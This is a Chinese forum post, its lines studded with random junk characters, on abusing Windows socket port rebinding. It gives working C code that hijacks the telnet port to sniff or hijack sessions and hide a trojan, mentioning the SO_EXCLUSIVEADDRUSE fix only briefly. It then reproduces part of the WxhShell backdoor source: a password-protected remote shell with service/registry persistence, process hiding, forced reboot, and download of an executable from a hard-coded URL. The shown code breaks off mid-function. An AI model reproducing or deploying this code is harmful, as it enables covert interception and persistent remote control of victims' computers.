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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4Y}{?]>pu  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g,5Tr_  
; Z{jol  
  saddr.sin_family = AF_INET; sb*)K,U  
ABnJ{$=n#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ouc$M2m0!  
IX 2 dic'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7F wo t&  
h2m@Q={  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c\(CbC  
]*vv=@"`e  
  这意味着什么?意味着可以进行如下的攻击: I=9sTR)  
Y`!Zk$8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5TS&NefM  
W 33MYw  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #w# :f  
4:Id8r zz  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?=0BU}  
WBY_%RTx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  NN@'79x  
Hn!13+fS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <GO 5}>}p8  
xg_9#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 , LVZ  
#>dj!33  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J'Y;j^  
!juh}q&}|  
  #include =2.q=a|'  
  #include [,/~*L;7  
  #include (od9adSehV  
  #include    *t,1(Gw|7q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )V?:qCuY>  
  int main() ($r-&]y  
  { $irF  
  WORD wVersionRequested; Ud'/ 9:P  
  DWORD ret; gX!-s*{E  
  WSADATA wsaData; \d}>@@U&  
  BOOL val; .h[yw$z6  
  SOCKADDR_IN saddr; )>U7+ Me  
  SOCKADDR_IN scaddr; Q?]-/v  
  int err; E8] kd  
  SOCKET s; Av_JcH  
  SOCKET sc; 7 HM%Cd  
  int caddsize; 7FGi+  
  HANDLE mt; .I nDyKt  
  DWORD tid;   %,Lv},%Y  
  wVersionRequested = MAKEWORD( 2, 2 ); |58xR.S'g  
  err = WSAStartup( wVersionRequested, &wsaData ); B6xM#)  
  if ( err != 0 ) { bn6WvC 3?  
  printf("error!WSAStartup failed!\n"); <3C/t|s  
  return -1; I::|d,bR!  
  } |!E: [UH  
  saddr.sin_family = AF_INET; JBt2R=  
   $bsD'Io  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 + Un(VTD  
QSSA)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <S68UN(Ke  
  saddr.sin_port = htons(23); ,v$Q:n|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r6gfxW5  
  { ME.a * v  
  printf("error!socket failed!\n"); \2!1fN  
  return -1; D,P{ ,/  
  } JK'FJ}Z4  
  val = TRUE; l~Rd\.O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T1#r>3c\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :kQydCuK  
  { Bvsxn5z+:  
  printf("error!setsockopt failed!\n"); < wi9   
  return -1; y$[:Kh,  
  } ;9$71E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K$/&C:,Q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !\5w<*p8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 liU8OXBl  
]I'dnd3e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) FS^~e-A  
  { cK.z&y0]  
  ret=GetLastError(); VDTt}J8  
  printf("error!bind failed!\n"); 7]H<ou  
  return -1; .W s\%S  
  } w;;9YFBdM  
  listen(s,2); 6W[~@~D=  
  while(1) %8{nuq+c  
  { 7BkY0_KK  
  caddsize = sizeof(scaddr); AX;!-|bW  
  //接受连接请求 I>JBGR`j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); MUn(ZnQy|  
  if(sc!=INVALID_SOCKET) z}w7X6&e  
  { .bY R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `IV7\}I|  
  if(mt==NULL) j9xu21'!%  
  { 5yk#(i 7C  
  printf("Thread Creat Failed!\n"); ->L>`<7(  
  break; LR#BP}\b'  
  } ]p!)8[<  
  } `3:Q.A_?  
  CloseHandle(mt); a'Yi^;2+\  
  } sm"s2Ci=}  
  closesocket(s); Q|xa:`3?  
  WSACleanup(); TyhO+;  
  return 0; 76cLf~|d~  
  }   50""n7I<%  
  DWORD WINAPI ClientThread(LPVOID lpParam) T:Nc^QP|tm  
  { T/]f5/  
  SOCKET ss = (SOCKET)lpParam; .tcdqL-'  
  SOCKET sc; T.}Y&,n$$5  
  unsigned char buf[4096]; F.),|t$\  
  SOCKADDR_IN saddr; s@IgaF {  
  long num; }`.d4mm  
  DWORD val; 2F :8=_sA  
  DWORD ret; 8PR\a!"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7@ \:l~{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   lHAWZyO  
  saddr.sin_family = AF_INET; U0Uy C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8W Etm}  
  saddr.sin_port = htons(23); 10_#Z~aU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1xI  
  { $C{,`{=  
  printf("error!socket failed!\n"); _ee<i8_Va  
  return -1; LU/;` In  
  } EpH_v`  
  val = 100; jn(%v]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dTjDVq&Hz  
  { 9y&bKB2,  
  ret = GetLastError(); 9l(T>B2a  
  return -1; pX+4B=*  
  } aW-6$=W  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :V1j*)  
  { tI)|y?q  
  ret = GetLastError(); _n1[(I  
  return -1; z]7/Gc,j  
  } 7=%Oev&0g-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kH8/8  
  { dIfy!B"  
  printf("error!socket connect failed!\n"); )k;;O7C k  
  closesocket(sc); m*jTvn  
  closesocket(ss); HuJc*op-6  
  return -1; flT6y-d  
  } XO+rg&Pu  
  while(1) "9 f+F  
  { 6$[7hlE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T*nP-b  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zz /4 ()u  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :bm%f%gg  
  num = recv(ss,buf,4096,0); vA}_x7}n(  
  if(num>0) 4jt(tZS  
  send(sc,buf,num,0); v& bG`\!  
  else if(num==0) ?~b(iZ  
  break; p6Z|)1O]  
  num = recv(sc,buf,4096,0); /'VbV8%  
  if(num>0) 0(*L)s,5  
  send(ss,buf,num,0); ;tSA Q  
  else if(num==0) Uo71C4ev  
  break; `BVmuUMm  
  } FgL892[  
  closesocket(ss); MqJ5|C.q  
  closesocket(sc);  +IO>%  
  return 0 ; H8B$# .  
  } AgZ?Ry  
^GyZycch  
2,wwI<=E'  
========================================================== N<1+aL\  
BM'!odRv  
下边附上一个代码,,WXhSHELL 2?SbkU/3|P  
hGkJ$QT  
========================================================== 7B)1U_L0H  
5VJe6i9;  
#include "stdafx.h" }opw_h+/F  
a ydNSgu  
#include <stdio.h> a|"Uw `pX+  
#include <string.h> g/fpXO\  
#include <windows.h> 2j}DI"|h  
#include <winsock2.h> 1[T7;i$  
#include <winsvc.h> [q_+s  
#include <urlmon.h> _&/ {A|n  
a6-.|tt#t  
#pragma comment (lib, "Ws2_32.lib") B0%=! &  
#pragma comment (lib, "urlmon.lib") [orL.D]  
=MMd&  
#define MAX_USER   100 // 最大客户端连接数 }z x ~  
#define BUF_SOCK   200 // sock buffer !1fZ7a  
#define KEY_BUFF   255 // 输入 buffer U8AH,?]#  
QeG9CS)E}j  
#define REBOOT     0   // 重启 vaGF(hfTA  
#define SHUTDOWN   1   // 关机 @0 /qP<E  
-sfv"?  
#define DEF_PORT   5000 // 监听端口 "L:4 7!8  
<l $ d>,  
#define REG_LEN     16   // 注册表键长度 X.#)CB0c1Q  
#define SVC_LEN     80   // NT服务名长度 T4HJy|  
#K6cBfqI  
// 从dll定义API 50j8+xJPV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4A6Yl6\Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r:;.?f@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Pal=I)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OU"%,&J  
fj)) Hnt(|  
// wxhshell配置信息 kJp~'\b  
struct WSCFG { tw>2<zmSi%  
  int ws_port;         // 监听端口 zD79M  
  char ws_passstr[REG_LEN]; // 口令 p*&0d@'r  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?UZt30|1  
  char ws_regname[REG_LEN]; // 注册表键名 ?)y^ [9  
  char ws_svcname[REG_LEN]; // 服务名 +)iMJ]>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z8'1R6nq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ca PHF@6WN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~e 1l7H;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b.@a,:"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {VE h@yn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z.!N|"4yr  
L_NiU;cr%  
}; e[fOm0^.c  
52dD(  
// default Wxhshell configuration ylKK!vRHT  
struct WSCFG wscfg={DEF_PORT, v$W[(  
    "xuhuanlingzhe", J6AHc"k.  
    1, Zn'tNt/  
    "Wxhshell", uI)twry]@  
    "Wxhshell", RI0^#S_{  
            "WxhShell Service", B-R#?Xn:!I  
    "Wrsky Windows CmdShell Service", sa(.Anmlj  
    "Please Input Your Password: ", `;E/\eG"  
  1, M .b8 -`V  
  "http://www.wrsky.com/wxhshell.exe", IB/3=4n^|  
  "Wxhshell.exe" *iE tXv  
    }; a+E&{p V  
Ve3z5d:^  
// 消息定义模块 UtQey ;w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  ir6' \  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *[3xc*5F/A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M  9t7y  
char *msg_ws_ext="\n\rExit.";  b.&W W  
char *msg_ws_end="\n\rQuit."; rtRbr_  
char *msg_ws_boot="\n\rReboot..."; :x)H!z P  
char *msg_ws_poff="\n\rShutdown..."; &)%+DUV|  
char *msg_ws_down="\n\rSave to "; H<Oo./8+  
_*fNa!@hY  
char *msg_ws_err="\n\rErr!"; ~,b^f{7`!  
char *msg_ws_ok="\n\rOK!"; t?W}=%M[  
\=A A,Il  
char ExeFile[MAX_PATH]; 'J|)4OG:  
int nUser = 0; .B# .   
HANDLE handles[MAX_USER]; _1p8(n  
int OsIsNt; DK)W ,z|  
K^shTh8k  
SERVICE_STATUS       serviceStatus; " B#|C'   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Yf w>x[#e  
50W+!'  
// 函数声明 ["Ltqgx  
int Install(void); 2T~cOH;T  
int Uninstall(void);  ?pTX4a&>  
int DownloadFile(char *sURL, SOCKET wsh); D(#f`Fj;  
int Boot(int flag); $zM shLT  
void HideProc(void); mll :rWC)  
int GetOsVer(void); B7C3r9wj  
int Wxhshell(SOCKET wsl); amu;grH  
void TalkWithClient(void *cs); ,50  
int CmdShell(SOCKET sock); !Rn6x $_  
int StartFromService(void); Ey&H?OFiP  
int StartWxhshell(LPSTR lpCmdLine); d;Vy59}eY  
G%<}TI1}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Nr~$i%[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c=oDzAzuV\  
fFjpQ~0  
// 数据结构和表定义 1iy$n  
SERVICE_TABLE_ENTRY DispatchTable[] = F4EAC|Y  
{ I,j4 BU4  
{wscfg.ws_svcname, NTServiceMain}, mL{P4a 1xf  
{NULL, NULL}  `Y#At3{  
}; l_vGp  
z8Q!~NN-K  
// 自我安装 *qd:f!Q3  
int Install(void) `@~e<s`j  
{  Y'iX   
  char svExeFile[MAX_PATH]; ~t`^|cr|  
  HKEY key; H}^'  
  strcpy(svExeFile,ExeFile); <v_=k],W  
UN]gn>~j  
// 如果是win9x系统,修改注册表设为自启动 SS=<\q#MS  
if(!OsIsNt) { >cu%Cs=m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KP&+fDa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); { mi}3/  
  RegCloseKey(key); ,=:K&5mCv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]pax,| +$C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ef5)z}B   
  RegCloseKey(key); iC gZ3M]  
  return 0; :Ha/^cC/3  
    } LKIMT  
  } =3e7n2N)  
} >XD?zF)6  
else { {3~VLdy  
?\}Gi(VVE  
// 如果是NT以上系统,安装为系统服务 { "y/;x/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _R4}\3}!  
if (schSCManager!=0) MMM tB6  
{ 7L{1S v  
  SC_HANDLE schService = CreateService `ONjEl  
  ( b_0THy.Z  
  schSCManager, X z+%Ym  
  wscfg.ws_svcname, rhJ&* 0M  
  wscfg.ws_svcdisp, e~o!Qm  
  SERVICE_ALL_ACCESS, _gvFs %J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;[v!#+yml  
  SERVICE_AUTO_START, V]=22Cxi'~  
  SERVICE_ERROR_NORMAL, *]6g-E?:@  
  svExeFile, J1?;'  
  NULL, 2"Os9 KD  
  NULL, ^9g$/8[^c_  
  NULL, z;c>Q\Q  
  NULL, b$G{^  
  NULL FaL\6w  
  ); 1 ^~&"s U  
  if (schService!=0) bjZJP\6  
  { 067c/ c  
  CloseServiceHandle(schService); z5+Pi:1w  
  CloseServiceHandle(schSCManager); +HK4sA2;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a~$XD(w^  
  strcat(svExeFile,wscfg.ws_svcname); yk+ 50/L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 88g3<&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B VBn.ut  
  RegCloseKey(key); S* h52li  
  return 0; ?bTfQH vX  
    } gD,&TW  
  } NVyBEAoh  
  CloseServiceHandle(schSCManager); w_9^YO! !  
} C"hN2Z!CD|  
} @KN+)qP  
mzgt>Qtkz=  
return 1; P*|N)S)X%  
} q!Du J  
aO6\ e>  
// 自我卸载 &qv~)ZM$  
int Uninstall(void) Y0LZbT3  
{ jUe@xi s<T  
  HKEY key; o2/:e  
wq)*bIv  
if(!OsIsNt) { W^(zP/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =o@;K~-  
  RegDeleteValue(key,wscfg.ws_regname); Ss3p6%V/  
  RegCloseKey(key); =7Ln&tZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }0'=}BE  
  RegDeleteValue(key,wscfg.ws_regname); 3]Z1kB  
  RegCloseKey(key);  N5 ME_)  
  return 0; Ltlp9 S  
  } w:&" "'E  
} q6zVu(  
} 7CIN!vrC|1  
else { 5cSiV7#Y:  
b?H"/Mu.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -<W?it?D  
if (schSCManager!=0) |23F@s1  
{ S}6Ld(_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  5NU{y+  
  if (schService!=0) '-iEbE  
  { @HT\Y%E  
  if(DeleteService(schService)!=0) { =|3BkmO  
  CloseServiceHandle(schService); "J VIkC  
  CloseServiceHandle(schSCManager); b!<_ JOL2.  
  return 0; s :vNr@TS  
  } "<,lqIqA;  
  CloseServiceHandle(schService); N5Js.j>z  
  } _&gi4)q  
  CloseServiceHandle(schSCManager); z7K{ ,y  
} Q$%apL  
} C$[d~1t6  
7]=&Q4e4  
return 1; #'L<7t K  
} i8iT}^  
x|H`%Z  
// 从指定url下载文件 bA;OphO(  
int DownloadFile(char *sURL, SOCKET wsh) Kv_2=]H  
{ `Os=cMR  
  HRESULT hr; bI):-2&s}  
char seps[]= "/"; qmS9*me {  
char *token; mF4W4~"  
char *file; 5ggyk0  
char myURL[MAX_PATH]; qu=~\t1[6  
char myFILE[MAX_PATH]; Jo?LPR \6  
VB |?S|<  
strcpy(myURL,sURL); %hB-$nE  
  token=strtok(myURL,seps); l.Q  
  while(token!=NULL) 3CCs_AO  
  { ah>c)1DA*H  
    file=token; \)PB p  
  token=strtok(NULL,seps); v{u3[c   
  } Z8v\>@?5R  
c&['T+X  
GetCurrentDirectory(MAX_PATH,myFILE); c_/BS n  
strcat(myFILE, "\\"); }:m#}s  
strcat(myFILE, file); |t,sK aL  
  send(wsh,myFILE,strlen(myFILE),0); $BqiC!~  
send(wsh,"...",3,0); (tK_(gO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~ 9>H(c  
  if(hr==S_OK) =RoE=) 1&-  
return 0; `<XS5h h=  
else }%g[1 #%(  
return 1; #S>N}<>  
lhUGo =  
} E=NjWO  
Gu;40)gm  
// 系统电源模块 U/>I! 7oe  
int Boot(int flag) 7HkO:/  
{ TWP@\ BQ  
  HANDLE hToken; >A Ep\ *  
  TOKEN_PRIVILEGES tkp; WQ|Ufl;  
$^x=i;>aK.  
  if(OsIsNt) { Fh~9(Y#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *5'8jC"2g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YPK@BmAdE  
    tkp.PrivilegeCount = 1; rZKh}E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5Tsz|k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "x$@^  
if(flag==REBOOT) { ,&[o:jTk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I4Do$&9<D  
  return 0; l\_!oa~  
} ?1Nz ,Lc$  
else { kQ\GVI11?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]TvMT  
  return 0; j.M]F/j  
} 757&bH|a  
  } oodA&0{)d  
  else { 6 AO(A *  
if(flag==REBOOT) { 2;)IBvK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /xn|d#4  
  return 0; 2> a&m>  
} ,xwiJfG; ]  
else { #  X (2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L*0YOE%=]  
  return 0; [Rj4= qq=  
} VL#:oyWA  
} z,Xj$wl  
I:dUHN+@L5  
return 1; &A:&2sP8  
} Dj/Hz\  
Df"PNUwA"  
// win9x进程隐藏模块 P@y)K!{Nk  
void HideProc(void) l;M,=ctB(  
{ Zma;An6  
C(>!?-.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [8u9q.IZ  
  if ( hKernel != NULL ) y&\4Wr9m  
  { 0f4 y"9m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rtPo)#t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )xp3 ElH  
    FreeLibrary(hKernel); /qdvzv%T  
  } FH</[7f;@N  
_'p/8K5)=  
return; =CzGI|pb  
} :k9T`Aa]  
<?41-p-;  
// 获取操作系统版本 +G;<D@gSa0  
int GetOsVer(void) m%9Yo%l~  
{ J;sQvPHV8  
  OSVERSIONINFO winfo; ^"Bhp:o2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BOpZ8p'eH1  
  GetVersionEx(&winfo); :ok.[q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  II'.vp  
  return 1; UVDMYA0  
  else +149 o2  
  return 0; gY+d[3N  
} ?;#Q3Y+  
`yR/M"u6T  
// 客户端句柄模块 bAlty}U  
int Wxhshell(SOCKET wsl) 1_7p`Gxt[/  
{ x@ X2r  
  SOCKET wsh; kB+$Kt<]L  
  struct sockaddr_in client; o0WwlmB5  
  DWORD myID; ybpOk  
+*OAClt+]  
  while(nUser<MAX_USER) z/#,L!Z3  
{ Le83[E*i  
  int nSize=sizeof(client); 0 Rb3| te  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WOPIF~1v  
  if(wsh==INVALID_SOCKET) return 1; , S^y>  
#-%D(=&I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7<LuL  
if(handles[nUser]==0) YM#' +wl}`  
  closesocket(wsh); "s@Hg1  
else "= 2\kZ  
  nUser++; 27}:f?2hbJ  
  } Fs >MFj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [XPAI["  
L1_O!EQ  
  return 0; =lv(  
} ll}_EUF|  
:E{)yT  
// 关闭 socket <\nM5-wR  
void CloseIt(SOCKET wsh) Tkr~)2,(I!  
{ 'oz$uvX  
closesocket(wsh); .joCZKO  
nUser--; ;nlJ D#  
ExitThread(0); ZXLAX9|  
} 6Takx%U  
F=&,=r' Q8  
// 客户端请求句柄 v1u~[c=|^  
void TalkWithClient(void *cs) pZ $>Hh#  
{ 0~<?*{~  
h0-.9ym  
  SOCKET wsh=(SOCKET)cs; ;{8 X+H  
  char pwd[SVC_LEN]; XN-1`5:4I  
  char cmd[KEY_BUFF]; <e&v[  
char chr[1]; M19O^P>[  
int i,j; 0aq{Y7sYU  
Cw^iA U  
  while (nUser < MAX_USER) { foPM5+.G  
8-gl$h  
if(wscfg.ws_passstr) { lB2 F09`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6r^ZMW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o>*`wv  
  //ZeroMemory(pwd,KEY_BUFF); FoE}j   
      i=0; %cs" PS  
  while(i<SVC_LEN) { J3+qnT8X  
=f@71D1  
  // 设置超时 2cu2S"r  
  fd_set FdRead; =H: N!!:  
  struct timeval TimeOut; Obu 6k[BE.  
  FD_ZERO(&FdRead); Zk7!CJVM  
  FD_SET(wsh,&FdRead); ;=0-B&+v  
  TimeOut.tv_sec=8; P:J|![   
  TimeOut.tv_usec=0; }A6z%|d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m5/]+xdNX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [4EIy"  
Cm5L99Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DmWa!5  
  pwd=chr[0]; Mmgm6{  
  if(chr[0]==0xd || chr[0]==0xa) { C-_u`|jQ  
  pwd=0; r:rPzq1  
  break; 5~>j98K  
  } ~Y0K Wx4  
  i++; TN Z -0  
    } -~sW@u)O  
f*V^HfiQb  
  // 如果是非法用户,关闭 socket p%Q{Rqc)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e`B!)Sr  
} x`2dN/wDhf  
;B< rw ^h5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); + S5uxO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tq^B>{S "  
(^T}6t3+4  
while(1) { ZCK#=:ln  
/:-ig .YY  
  ZeroMemory(cmd,KEY_BUFF); ; p+C0!B2  
\k$cg~  
      // 自动支持客户端 telnet标准   eVj 8u  
  j=0; o7gZc/?n  
  while(j<KEY_BUFF) { .$f0!` t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); , iEGf-!k  
  cmd[j]=chr[0]; 8~!h8bkC  
  if(chr[0]==0xa || chr[0]==0xd) { >y}> 5kv  
  cmd[j]=0; 7u1o>a %9  
  break; hQ)?LPUB  
  } 8eCh5*_$  
  j++; amQiH!}8R  
    } 'mv|6Y  
_x-2tnIxXv  
  // 下载文件 D41.$t[  
  if(strstr(cmd,"http://")) { }WR@%)7ay  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NUBzc'qb  
  if(DownloadFile(cmd,wsh)) zzC{I@b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /^i_tLgb  
  else nbw8YO(=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wd,6/5=lh  
  } 2#R0Bd  
  else { K-(C5 "j_  
7wrRIeES  
    switch(cmd[0]) { t|&hXh{  
  rWL&-AZQl  
  // 帮助 u3X!O  
  case '?': { .^- I<4.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X#W6;?Z\  
    break; B|>eKI  
  } I]#x0?D  
  // 安装 IQ JFL +f  
  case 'i': { GB*^?Ii  
    if(Install()) !bW^G} <t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n>o=RQ2  
    else _Fkb$NJ"]Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); us#ji i.<  
    break; |o_ N$70  
    } - Lsl  
  // 卸载 3D,tnn+J  
  case 'r': { YEiw!  
    if(Uninstall()) %~<F7qB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mt *Dx  
    else 5M%)*.Y 3[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); REOWSs$'  
    break; Sfi1bsK  
    } pfMmDl5|  
  // 显示 wxhshell 所在路径 N]I::  
  case 'p': { Vvn~G.&)  
    char svExeFile[MAX_PATH]; <P5 7s+JK  
    strcpy(svExeFile,"\n\r"); BgsU:eKe  
      strcat(svExeFile,ExeFile); ~:b5UIAk  
        send(wsh,svExeFile,strlen(svExeFile),0); CT.hBz -S  
    break; o3'Za'N.  
    } }dq)d.c  
  // 重启 Q2gz\N  
  case 'b': { qz-lQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B I>r'  
    if(Boot(REBOOT)) L>`inrpz=w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q ) e* eN  
    else { ) Cm95,Y  
    closesocket(wsh); {ZUgyGE{  
    ExitThread(0); 7%|HtBXv^  
    } X-yS9E  
    break; fHF*#  
    } C9%A?'`  
  // 关机 G Mg|#DV  
  case 'd': { JGlp7wro  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); . N5$s2t  
